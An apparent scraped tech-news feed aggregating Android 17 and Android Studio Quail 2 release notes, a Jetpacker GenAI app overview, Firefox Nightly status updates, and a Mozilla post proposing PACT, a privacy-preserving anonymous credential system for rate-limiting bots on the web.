  • Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
  • Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
  • Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

  • Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
  • Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.



For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.



]]> <![CDATA[Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent]]> https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/ https://tsecurity.de/de/3693500/android-tipps/android-studio-quail-2-is-stable-multi-task-with-the-android-studio-ai-agent/ Sat, 25 Jul 2026 10:15:29 +0200 đŸ€– Android Tipps tsecurity.de

Posted by Amman Asfaw, Product Manager, Android Studio





Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.

Here’s a deep dive into what’s new:

Multi-tasking with parallel chats

In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.

In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.

You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at Android Bench for an analysis of how LLMs perform Android development tasks.

  • How to use: Click the "+" icon to start a new parallel conversation, and use the History icon to navigate between active tasks. Alternatively, select File > New > New Agent Tab to open a conversation in a dedicated tab.
  • Note: Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.

Run multiple agent tasks in parallel with different models of your choice.

Use the History icon to navigate between active tasks.

Memory leak detection with LeakCanary

Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError.

Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector LeakCanary is natively integrated directly into the Profiler as a dedicated, first-class task.

This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.

Once a leak is detected during a profiling session:

  • The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.
  • You can click Go to declaration on any leaking object in the trace to instantly jump to that exact line of code in your editor.
  • You can click Fix with Agent to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.
Review memory leaks identified via LeakCanary through the Fix with Agent button.

App Quality Insights agent integration

Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.

When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click See more. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.

With the new agent integration, you move directly from issue identification to resolution. By clicking Fix with AI, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix

The Fix with AI button triggering the agent to analyze the issue, then propose the fix

Quality & stability improvements

Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.

Get Started

Ready to dive in and accelerate your development? Download Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. Check known issues, report bugs, and be part of our vibrant community on LinkedIn, Medium, YouTube, or X. 

]]> <![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]> https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/ https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/ Sat, 25 Jul 2026 10:15:26 +0200 đŸ€– Android Tipps tsecurity.de
Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer Relations


Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  • Execution location: Where does your model run? On device, in the cloud, or both?
  • Complexity: How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?
  • In-app or Android System: Should your feature be built into your Android app or does it fit better as an Android system integration?

In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a personalized, intelligent, and agentic experience.

Jetpacker: a demo travel app

Jetpacker is a technical showcase app that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.

And best of all? It's fully open source!

Today we are publishing a series of technical blog posts diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.

On-device intelligence

On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes

Using an on-device model comes with no additional cloud inference costs, means you don't have to worry about internet connectivity, and lets users be confident that private information will be processed locally, on the device, without any of their data being sent to the cloud.

In Jetpacker, we chose on-device inference for three of our features:

  • The trip overview feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the ML Kit GenAI APIs to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.
  • The expense tracker automatically extracts structured data from receipt images to help users track their travel spending. It uses the multimodal capabilities of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.
  • The audio diary records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the ML Kit Speech Recognition and GenAI Prompt APIs. We chose an on-device solution for privacy and connectivity reasons.

Cloud & hybrid inference













Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.

Sometimes your use-case requires AI models with greater world knowledge or a much larger context window and with greater ability in handling complex tasks. In that case, we can switch from running an on-device model to using a cloud model instead.

Or, if you want to get the best of both worlds, you can use hybrid inference to dynamically choose either a cloud or on-device model at runtime. This allows us to lower costs by moving inference to the device when it is available, but at the same time support all Android devices running the app.

In Jetpacker, we implemented several features using cloud or hybrid inference:

  • The place Q&A feature answers user questions about specific locations by grounding responses in real-world data. It uses Firebase AI Logic integrated with Google Maps and web context. Using a cloud model is necessary here for its greater world knowledge.
  • The review drafting feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new Hybrid inference API. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.
  • The automatic chat translation dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.

System integration

While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the AppFunctions API to integrate with system-level intelligence.

In-app agentic workflows (coming soon!)

The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.

Agenticness introduces a higher level of autonomy, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to reason, use tools, and adapt its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.

For Jetpacker we added a booking assistant that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using A2UI and ADK running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.

Learn more

Check out the other parts of this blog post series:

Part 1 (this post!): Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

]]> <![CDATA[Valve Will Finally Let You Build Your Own Steam Machine With SteamOS For Desktop]]> https://tsecurity.de/de/3693463/linux-tipps/valve-will-finally-let-you-build-your-own-steam-machine-with-steamos-for-desktop/ https://tsecurity.de/de/3693463/linux-tipps/valve-will-finally-let-you-build-your-own-steam-machine-with-steamos-for-desktop/ Sat, 25 Jul 2026 10:12:56 +0200 🐧 Linux Tipps tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Windows Drops Under 60% in Global Desktop OS Share]]> https://tsecurity.de/de/3693458/linux-tipps/windows-drops-under-60-in-global-desktop-os-share/ https://tsecurity.de/de/3693458/linux-tipps/windows-drops-under-60-in-global-desktop-os-share/ Sat, 25 Jul 2026 10:12:44 +0200 🐧 Linux Tipps tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202]]> https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/ https://tsecurity.de/de/3693295/tools/firefox-nightly-backup-for-a-rainy-day-these-weeks-in-firefox-issue-202/ Sat, 25 Jul 2026 08:37:35 +0200 đŸ’Ÿ Tools tsecurity.de Highlights
  • The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!
    • This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
    • You will be able to manage this feature in Settings under Sync (for now)
      • Firefox settings page showing the Backup feature in dark mode. Backup is enabled, with details of the most recent backup and a “Backup now” button. The page displays the backup file name and a backup location folder path, along with “Choose
” and “Show in folder” buttons. A “Sensitive data” section includes an option to back up passwords and payment methods with encryption, and a disabled “Change password” button.
    • You can read more about the feature here
  • As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
  • Adaptive autofill has been enabled on Nightly.
    • Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.
  • Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android
    • dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
    • it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom
    • Firefox Responsive Design Mode on Desktop displaying the Mozilla homepage in a mobile viewport. The toolbar at the top shows a simulated Android device (including the dynamic toolbar) with a viewport size of 376 × 464 pixels and a device pixel ratio of 3. The page content is shown in French, featuring the Mozilla logo, a “Menu” link, a “Pause animation” button, and the headline “Bienvenue chez Mozilla” with accompanying text about trusted technology and digital rights.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Amin Amir
  • aoia7rz7l
  • Chukwuka Rosemary
  • DrSeed
  • FrĂ©dĂ©ric Wang NĂ©lar
  • japandi
  • John Iweh
  • jonathancabera
  • Josh Aas
  • Keji Bakare
  • kofoworola shonuyi
  • konyhĂ©a
  • liz
  • Mathew Hodson
  • Okhuomon Ajayi
  • Oluwatobi
  • ROSHAAN
  • Sam Johnson

New contributors (🌟 = first patch)

 

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014
    • NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes
WebExtensions Framework
  • Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173
    • Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!
  • Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329
    • Thanks to Simon Farre for promptly investigating and fixing this recent regression!
WebExtension APIs
  • Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125
    • Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!

DevTools

Fluent

  • We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!
  • Stacked area chart titled “Are We Fluent Yet?” showing the number and type of localization strings available in Firefox from 2018 to 2026. The chart tracks Fluent strings (green), Properties strings (blue), DTD strings (pink), and a small number of INI strings. Over time, Fluent strings steadily increase while DTD and Properties strings decline. A tooltip at April 26, 2026 shows 10,372 Fluent strings, 3,997 Properties strings, and no remaining DTD or INC strings, illustrating Firefox’s ongoing migration to the Fluent localization system.

Migration Improvements

New Tab Page

Search and Urlbar

  • Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
  • Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
  • Work also continues on the new Nova layouts.

Smart Window

  • uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect
    • jump to bottom of conversation 2028692
    • stop streaming button 2029204
    • back/forward navigation from assistant 2029229
    • dark mode for various chips 2024499
  • search engine switching from smart bar 2021973
  • Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

UX Fundamentals

  • The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
  • In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

]]> <![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]> https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/ https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/ Sat, 25 Jul 2026 08:37:32 +0200 đŸ’Ÿ Tools tsecurity.de Highlights

Internet connection error page with an adorable Kit illustration

Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"

 

  • We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

  • Amin Amir
  • Pranjali Srivastava
  • Sam Johnson

New contributors (🌟 = first patch)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons
  • Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158
WebExtensions Framework
  • Fixed access to web-accessible resources declared with <all_urls> from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905
WebExtension APIs
  • Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

  • Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
    • added support for remote debugging (#2014064, #2016121)
    • made sure that calls to History.replaceState are reflected in the UI (#2037359)
  • Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
  • Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
  • Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

Lint, Docs and Workflow

New Tab Page

  • We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
    • We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.
  • Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
  • Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!

World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX.

Search and Urlbar

Smart Window

  • natural language starting with tab close/undo 2035343 with expandable action log 2031508

Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken

Storybook/Reusable Components/Acorn Design System

  • Nova token updates occasionally, focused on SRD

UX Fundamentals

  • Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

  • Settings redesign is being tested and will hopefully go out in Firefox 152!
]]> <![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]> https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/ https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/ Sat, 25 Jul 2026 08:37:27 +0200 đŸ’Ÿ Tools tsecurity.de This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve.

Bots (and privacy-preserving browsers) not welcome

Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome.

Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors.

Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans.

Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate.

This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse.

Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.

The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers.

The Costs of Convenient Solutions

Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.

Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.

Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.

However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors.

Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.

A Better Path Forward

Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  

Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit.

However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work.

What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms.

As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage.

The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking.

Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.

The Foundations

The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to.

A diagram showing the protocol flow for Privacy Pass.

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.

Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them.

Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you.

Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably.

Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 

To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour.

Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected.

Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked.

Putting it together

So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens.

Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites.

That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it.

We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 

In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

A diagram showing an overview of the PACT system

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.

